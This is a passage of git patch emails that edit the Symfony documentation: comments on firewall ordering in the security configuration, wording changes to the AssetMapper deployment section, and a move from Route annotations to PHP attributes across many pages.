 9) Handling Exceptions: the ``kernel.exception`` Event
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **Typical Purposes**: Handle some type of exception and create an appropriate
 ``Response`` to return for the exception
diff --git a/security.rst b/security.rst
index b1ddffdce1a..ef3b6d1bd98 100644
--- a/security.rst
+++ b/security.rst
@@ -508,11 +508,11 @@ will be able to authenticate (e.g. login form, API token, etc).
         security:
             # ...
             firewalls:
+                # the order in which firewalls are defined is very important, as the
+                # request will be handled by the first firewall whose pattern matches
                 dev:
                     pattern: ^/(_(profiler|wdt)|css|images|js)/
                     security: false
-                    # add a new firewall here with a specific pattern, the first firewall matched by pattern will be
-                    # executed, if a firewall has no pattern it will match all requests and the others will be skipped
                 main:
                     lazy: true
                     provider: users_in_memory
@@ -537,6 +537,9 @@ will be able to authenticate (e.g. login form, API token, etc).
 
             <config>
                 <!-- ... -->
+
+                <!-- the order in which firewalls are defined is very important, as the
+                     request will be handled by the first firewall whose pattern matches -->
                 <firewall name="dev"
                     pattern="^/(_(profiler|wdt)|css|images|js)/"
                     security="false"/>
@@ -559,6 +562,9 @@ will be able to authenticate (e.g. login form, API token, etc).
 
         return static function (SecurityConfig $security) {
             // ...
+
+            // the order in which firewalls are defined is very important, as the
+            // request will be handled by the first firewall whose pattern matches
             $security->firewall('dev')
                 ->pattern('^/(_(profiler|wdt)|css|images|js)/')
                 ->security(false)

From 8e2d9501e0e1ecb68f0538e30cb62efc00ff5509 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 29 Feb 2024 12:26:22 +0100
Subject: [PATCH 5861/7107] [Security] Added a missing comment in the firewall
 config example

---
 security.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/security.rst b/security.rst
index ef3b6d1bd98..6f07153cc3c 100644
--- a/security.rst
+++ b/security.rst
@@ -513,6 +513,7 @@ will be able to authenticate (e.g. login form, API token, etc).
                 dev:
                     pattern: ^/(_(profiler|wdt)|css|images|js)/
                     security: false
+                # a firewall with no pattern should be defined last because it will match all requests
                 main:
                     lazy: true
                     provider: users_in_memory
@@ -544,6 +545,7 @@ will be able to authenticate (e.g. login form, API token, etc).
                     pattern="^/(_(profiler|wdt)|css|images|js)/"
                     security="false"/>
 
+                <!-- a firewall with no pattern should be defined last because it will match all requests -->
                 <firewall name="main"
                     lazy="true"/>
 
@@ -570,6 +572,7 @@ will be able to authenticate (e.g. login form, API token, etc).
                 ->security(false)
             ;
 
+            // a firewall with no pattern should be defined last because it will match all requests
             $security->firewall('main')
                 ->lazy(true)
 

From 22e3745586f3bb59931425cb0001240433728d26 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 29 Feb 2024 11:57:53 +0100
Subject: [PATCH 5862/7107] [AssetMapper] Deleting duplicated info

---
 frontend/asset_mapper.rst | 12 ++++--------
 1 file changed, 4 insertions(+), 8 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index c8febf65757..94eb911b20a 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -608,19 +608,15 @@ is being built, which you can ignore.
 Deploying with the AssetMapper Component
 ----------------------------------------
 
-When you're ready to deploy, "compile" your assets during deployment:
+When you're ready to deploy, "compile" your assets:
 
 .. code-block:: terminal
 
     $ php bin/console asset-map:compile
 
-That's it! This will write all your assets into the ``public/assets/`` directory,
-along with a few JSON files so that the ``importmap`` can be rendered lightning fast.
-
-But to make sure your site is performant, be sure that your web server
-(or a proxy) is running HTTP/2, is compressing your assets and setting
-long-lived Expires headers on them. See :ref:`Optimization <optimization>` for
-more details.
+This will write all your versioned asset files into the ``public/assets/`` directory,
+along with a few JSON files: ``manifest.json``, ``importmap.json``, plus one ``entrypoint.<name>.json``
+for each entrypoint.
 
 .. _optimization:
 

From ef2c3b235fcc93b416b07b0020b420abb7c60a4a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 29 Feb 2024 13:10:55 +0100
Subject: [PATCH 5863/7107] Minor tweaks

---
 frontend/asset_mapper.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 94eb911b20a..cecaed7352c 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -608,15 +608,15 @@ is being built, which you can ignore.
 Deploying with the AssetMapper Component
 ----------------------------------------
 
-When you're ready to deploy, "compile" your assets:
+When you're ready to deploy, "compile" your assets by running this command:
 
 .. code-block:: terminal
 
     $ php bin/console asset-map:compile
 
 This will write all your versioned asset files into the ``public/assets/`` directory,
-along with a few JSON files: ``manifest.json``, ``importmap.json``, plus one ``entrypoint.<name>.json``
-for each entrypoint.
+along with a few JSON files (``manifest.json``, ``importmap.json``, etc.) so that
+the ``importmap`` can be rendered lightning fast.
 
 .. _optimization:
 

From b3534c7da9551b8d6b2dbd45660cb2a5689e09fc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 29 Feb 2024 13:18:39 +0100
Subject: [PATCH 5864/7107] Revert some changes

---
 frontend/asset_mapper.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 783933596b9..26b0ab7a8be 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -629,12 +629,14 @@ which will automatically do most of these things for you:
 
 - **Use HTTP/2**: Your web server should be running HTTP/2 (or HTTP/3) so the
   browser can download assets in parallel. HTTP/2 is automatically enabled in Caddy
-  and can be activated in Nginx and Apache.
+  and can be activated in Nginx and Apache. Or, proxy your site through a
+  service like Cloudflare, which will automatically enable HTTP/2 for you.
 
 - **Compress your assets**: Your web server should compress (e.g. using gzip)
   your assets (JavaScript, CSS, images) before sending them to the browser. This
   is automatically enabled in Caddy and can be activated in Nginx and Apache.
-  In Cloudflare, you can also
+  Or, proxy your site through a service like Cloudflare, which will
+  automatically compress your assets for you. In Cloudflare, you can also
   enable `auto minify`_ to further compress your assets (e.g. removing
   whitespace and comments from JavaScript and CSS files).
 

From 4ad9f58ce1c9b1297145d6e1ac50af1d4d01a05f Mon Sep 17 00:00:00 2001
From: Tac Tacelosky <tacman@gmail.com>
Date: Thu, 29 Feb 2024 06:34:26 -0600
Subject: [PATCH 5865/7107] use attribute rather than annotation

---
 notifier.rst | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 7daefbfdffb..15866025eb6 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -360,13 +360,11 @@ you to send messages to chat services::
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Notifier\ChatterInterface;
     use Symfony\Component\Notifier\Message\ChatMessage;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class CheckoutController extends AbstractController
     {
-        /**
-         * @Route("/checkout/thankyou")
-         */
+        #[Route('/checkout/thankyou')]
         public function thankyou(ChatterInterface $chatter): Response
         {
             $message = (new ChatMessage('You got a new invoice for 15 EUR.'))

From da8472a15a8d2b628a1115b6d34ea340482b1971 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 29 Feb 2024 13:44:38 +0100
Subject: [PATCH 5866/7107] Fix another annotation occurrence

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 15866025eb6..ec73449a43c 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -195,7 +195,7 @@ send SMS messages::
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Notifier\Message\SmsMessage;
     use Symfony\Component\Notifier\TexterInterface;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class SecurityController
     {

From 2bf73a7b47dc66085e92b13009b0a2287f800c54 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Fri, 1 Mar 2024 12:16:08 +0100
Subject: [PATCH 5867/7107] update github link for method in redis adapter

---
 components/cache/adapters/redis_adapter.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 511cd442370..5512b576f0e 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -44,7 +44,7 @@ as the second and third parameters::
 Configure the Connection
 ------------------------
 
-The :method:`Symfony\\Component\\Cache\\Adapter\\RedisAdapter::createConnection`
+The :method:`Symfony\\Component\\Cache\\Traits\\RedisTrait::createConnection`
 helper method allows creating and configuring the Redis client class instance using a
 `Data Source Name (DSN)`_::
 

From 9f84489e56ea628af9639cdf780af9fa55994f57 Mon Sep 17 00:00:00 2001
From: pecapel <71317831+PierreCapel@users.noreply.github.com>
Date: Fri, 1 Mar 2024 15:34:25 +0100
Subject: [PATCH 5868/7107] minor: add upercases to match console output

As per : https://github.com/symfony/symfony/blob/3a02e2103409c58b8ff45c15f44bb8d1f4b3e698/src/Symfony/Component/Console/Application.php#L484C17-L484C24
---
 components/console/usage.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/console/usage.rst b/components/console/usage.rst
index a38b06c2cc4..d7725e8926e 100644
--- a/components/console/usage.rst
+++ b/components/console/usage.rst
@@ -104,7 +104,7 @@ If you do not provide a console name then it will just output:
 
 .. code-block:: text
 
-    console tool
+    Console Tool
 
 You can force turning on ANSI output coloring with:
 

From 32460957aec55c1065e903f8b4c3005c78644231 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Sat, 2 Mar 2024 11:06:30 +0100
Subject: [PATCH 5869/7107] Replace Annotation\Route with Attribute\Route

Inspired by https://github.com/symfony/symfony-docs/pull/19619 :)
---
 cache.rst                            |  2 +-
 configuration/micro_kernel_trait.rst |  4 +--
 controller.rst                       |  4 +--
 controller/service.rst               |  6 ++--
 controller/upload_file.rst           |  2 +-
 controller/value_resolver.rst        |  6 ++--
 doctrine.rst                         | 14 ++++-----
 doctrine/associations.rst            |  2 +-
 mailer.rst                           |  4 +--
 page_creation.rst                    |  2 +-
 quick_tour/flex_recipes.rst          |  4 +--
 quick_tour/the_architecture.rst      |  4 +--
 quick_tour/the_big_picture.rst       |  4 +--
 routing.rst                          | 44 ++++++++++++++--------------
 security.rst                         |  4 +--
 security/login_link.rst              |  4 +--
 service_container.rst                |  4 +--
 service_container/autowiring.rst     |  2 +-
 templates.rst                        |  2 +-
 19 files changed, 59 insertions(+), 59 deletions(-)

diff --git a/cache.rst b/cache.rst
index d3459ea0d06..88f76245536 100644
--- a/cache.rst
+++ b/cache.rst
@@ -910,7 +910,7 @@ In the following example, the value is requested from a controller::
 
     use App\Cache\CacheComputation;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
     use Symfony\Contracts\Cache\CacheInterface;
     use Symfony\Contracts\Cache\ItemInterface;
 
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 890f3fc8b9c..4b538f1b6e4 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -32,7 +32,7 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
         use Symfony\Component\HttpFoundation\JsonResponse;
         use Symfony\Component\HttpFoundation\Request;
         use Symfony\Component\HttpKernel\Kernel as BaseKernel;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         require __DIR__.'/vendor/autoload.php';
 
@@ -390,7 +390,7 @@ has one file in it::
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class MicroController extends AbstractController
     {
diff --git a/controller.rst b/controller.rst
index 5e4d97864ac..40ed6bfc07f 100644
--- a/controller.rst
+++ b/controller.rst
@@ -23,7 +23,7 @@ class::
     namespace App\Controller;
 
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class LuckyController
     {
@@ -763,7 +763,7 @@ method::
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
     use Symfony\Component\WebLink\Link;
 
     class HomepageController extends AbstractController
diff --git a/controller/service.rst b/controller/service.rst
index b0a552252b5..88af093ff29 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -66,7 +66,7 @@ apply the ``controller.service_arguments`` tag to your controller services::
 
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpKernel\Attribute\AsController;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     #[AsController]
     class HelloController
@@ -95,7 +95,7 @@ a service like: ``App\Controller\HelloController::index``:
         namespace App\Controller;
 
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class HelloController
         {
@@ -157,7 +157,7 @@ which is a common practice when following the `ADR pattern`_
         namespace App\Controller;
 
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         #[Route('/hello/{name}', name: 'hello')]
         class Hello
diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index c05e78997ba..73346408e4a 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -124,7 +124,7 @@ Finally, you need to update the code of the controller that handles the form::
     use Symfony\Component\HttpFoundation\File\UploadedFile;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
     use Symfony\Component\String\Slugger\SluggerInterface;
 
     class ProductController extends AbstractController
diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 209b9c05a01..3e888793c15 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -147,7 +147,7 @@ Symfony ships with the following value resolvers in the
         namespace App\Controller;
 
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
         use Symfony\Component\Uid\UuidV4;
 
         class DefaultController
@@ -201,7 +201,7 @@ In addition, some components, bridges and official bundles provide other value r
         namespace App\Controller;
 
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class DefaultController
         {
@@ -250,7 +250,7 @@ lets you do this by "targeting" the resolver you want::
     use Symfony\Component\HttpFoundation\Session\SessionInterface;
     use Symfony\Component\HttpKernel\Attribute\ValueResolver;
     use Symfony\Component\HttpKernel\Controller\ArgumentResolver\SessionValueResolver;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class SessionController
     {
diff --git a/doctrine.rst b/doctrine.rst
index 4f4d5136a84..dee7e694897 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -356,7 +356,7 @@ and save it::
     use App\Entity\Product;
     use Doctrine\ORM\EntityManagerInterface;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class ProductController extends AbstractController
     {
@@ -438,7 +438,7 @@ Consider the following controller code::
 
     use App\Entity\Product;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
     use Symfony\Component\Validator\Validator\ValidatorInterface;
     // ...
 
@@ -502,7 +502,7 @@ be able to go to ``/product/1`` to see your new product::
     use App\Entity\Product;
     use Doctrine\ORM\EntityManagerInterface;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
     // ...
 
     class ProductController extends AbstractController
@@ -535,7 +535,7 @@ and injected by the dependency injection container::
     use App\Entity\Product;
     use App\Repository\ProductRepository;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
     // ...
 
     class ProductController extends AbstractController
@@ -624,7 +624,7 @@ automatically! You can simplify the controller to::
     use App\Entity\Product;
     use App\Repository\ProductRepository;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
     // ...
 
     class ProductController extends AbstractController
@@ -700,7 +700,7 @@ the ``EntityValueResolver`` behavior by using the `MapEntity options`_ ::
     use App\Entity\Product;
     use Symfony\Bridge\Doctrine\Attribute\MapEntity;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
     // ...
 
     class ProductController extends AbstractController
@@ -841,7 +841,7 @@ with any PHP model::
     use App\Repository\ProductRepository;
     use Doctrine\ORM\EntityManagerInterface;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
     // ...
 
     class ProductController extends AbstractController
diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index ba34dbf3693..a9cc365d48f 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -312,7 +312,7 @@ Now you can see this new code in action! Imagine you're inside a controller::
     use App\Entity\Product;
     use Doctrine\ORM\EntityManagerInterface;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class ProductController extends AbstractController
     {
diff --git a/mailer.rst b/mailer.rst
index 53b9d88b6f1..527fa3d3871 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -470,7 +470,7 @@ and create an :class:`Symfony\\Component\\Mime\\Email` object::
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Mailer\MailerInterface;
     use Symfony\Component\Mime\Email;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class MailerController extends AbstractController
     {
@@ -1629,7 +1629,7 @@ Here's an example of making one available to download::
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpFoundation\ResponseHeaderBag;
     use Symfony\Component\Mime\DraftEmail;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class DownloadEmailController extends AbstractController
     {
diff --git a/page_creation.rst b/page_creation.rst
index 0bba49938f5..f8b2fdaf251 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -69,7 +69,7 @@ metadata to code):
       // src/Controller/LuckyController.php
 
       // ...
-    + use Symfony\Component\Routing\Annotation\Route;
+    + use Symfony\Component\Routing\Attribute\Route;
 
       class LuckyController
       {
diff --git a/quick_tour/flex_recipes.rst b/quick_tour/flex_recipes.rst
index a71961d78af..c058008b84a 100644
--- a/quick_tour/flex_recipes.rst
+++ b/quick_tour/flex_recipes.rst
@@ -79,7 +79,7 @@ Thanks to Flex, after one command, you can start using Twig immediately:
       // src/Controller/DefaultController.php
       namespace App\Controller;
 
-      use Symfony\Component\Routing\Annotation\Route;
+      use Symfony\Component\Routing\Attribute\Route;
     - use Symfony\Component\HttpFoundation\Response;
     + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
 
@@ -157,7 +157,7 @@ Are you building an API? You can already return JSON from any controller::
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\JsonResponse;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class DefaultController extends AbstractController
     {
diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index a4154d822b1..a323461885d 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -27,7 +27,7 @@ use the logger in a controller, add a new argument type-hinted with ``LoggerInte
     use Psr\Log\LoggerInterface;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class DefaultController extends AbstractController
     {
@@ -108,7 +108,7 @@ Great! You can use it immediately in your controller::
     use Psr\Log\LoggerInterface;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class DefaultController extends AbstractController
     {
diff --git a/quick_tour/the_big_picture.rst b/quick_tour/the_big_picture.rst
index e78cdf4e698..34bea4f82cc 100644
--- a/quick_tour/the_big_picture.rst
+++ b/quick_tour/the_big_picture.rst
@@ -154,7 +154,7 @@ Instead, add the route *right above* the controller method:
       namespace App\Controller;
 
       use Symfony\Component\HttpFoundation\Response;
-    + use Symfony\Component\Routing\Annotation\Route;
+    + use Symfony\Component\Routing\Attribute\Route;
 
       class DefaultController
       {
@@ -173,7 +173,7 @@ in ``DefaultController``::
     namespace App\Controller;
 
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class DefaultController
     {
diff --git a/routing.rst b/routing.rst
index 0c3c99c0381..02fdf17bf04 100644
--- a/routing.rst
+++ b/routing.rst
@@ -64,7 +64,7 @@ do so, create a :doc:`controller class </controller>` like the following:
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class BlogController extends AbstractController
         {
@@ -178,7 +178,7 @@ Use the ``methods`` option to restrict the verbs each route should respond to:
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class BlogApiController extends AbstractController
         {
@@ -269,7 +269,7 @@ arbitrary matching logic:
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class DefaultController extends AbstractController
         {
@@ -505,7 +505,7 @@ For example, the route to display the blog post contents is defined as ``/blog/{
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class BlogController extends AbstractController
         {
@@ -584,7 +584,7 @@ the ``{page}`` parameter using the ``requirements`` option:
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class BlogController extends AbstractController
         {
@@ -702,7 +702,7 @@ concise, but it can decrease route readability when requirements are complex:
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class BlogController extends AbstractController
         {
@@ -769,7 +769,7 @@ other configuration formats they are defined with the ``defaults`` option:
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class BlogController extends AbstractController
         {
@@ -854,7 +854,7 @@ parameter:
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class BlogController extends AbstractController
         {
@@ -924,7 +924,7 @@ optional ``priority`` parameter in those routes to control their priority:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class BlogController extends AbstractController
         {
@@ -973,7 +973,7 @@ controller action. Instead of ``string $slug``, add ``BlogPost $post``::
     use App\Entity\BlogPost;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class BlogController extends AbstractController
     {
@@ -1015,7 +1015,7 @@ convert them automatically to their scalar values.
     use App\Enum\OrderStatusEnum;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class OrderController extends AbstractController
     {
@@ -1147,7 +1147,7 @@ the controllers of the routes:
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class BlogController extends AbstractController
         {
@@ -1220,7 +1220,7 @@ A possible solution is to change the parameter requirements to be more permissiv
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class DefaultController extends AbstractController
         {
@@ -1417,7 +1417,7 @@ when importing the routes.
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         #[Route('/blog', requirements: ['_locale' => 'en|es|fr'], name: 'blog_')]
         class BlogController extends AbstractController
@@ -1597,7 +1597,7 @@ information in a controller via the ``Request`` object::
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class BlogController extends AbstractController
     {
@@ -1793,7 +1793,7 @@ host name:
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class MainController extends AbstractController
         {
@@ -1868,7 +1868,7 @@ multi-tenant applications) and these parameters can be validated too with
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class MainController extends AbstractController
         {
@@ -1996,7 +1996,7 @@ avoids the need for duplicating routes, which also reduces the potential bugs:
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class CompanyController extends AbstractController
         {
@@ -2175,7 +2175,7 @@ session shouldn't be used when matching a request:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class MainController extends AbstractController
         {
@@ -2257,7 +2257,7 @@ that defines only one route. Consider the following class::
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         final class MainController extends AbstractController
         {
@@ -2286,7 +2286,7 @@ use the ``generateUrl()`` helper::
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
     use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
 
     class BlogController extends AbstractController
@@ -2588,7 +2588,7 @@ each route explicitly:
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class SecurityController extends AbstractController
         {
diff --git a/security.rst b/security.rst
index d2bdc502659..99f364fbb31 100644
--- a/security.rst
+++ b/security.rst
@@ -750,7 +750,7 @@ First, create a controller for the login form:
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class LoginController extends AbstractController
     {
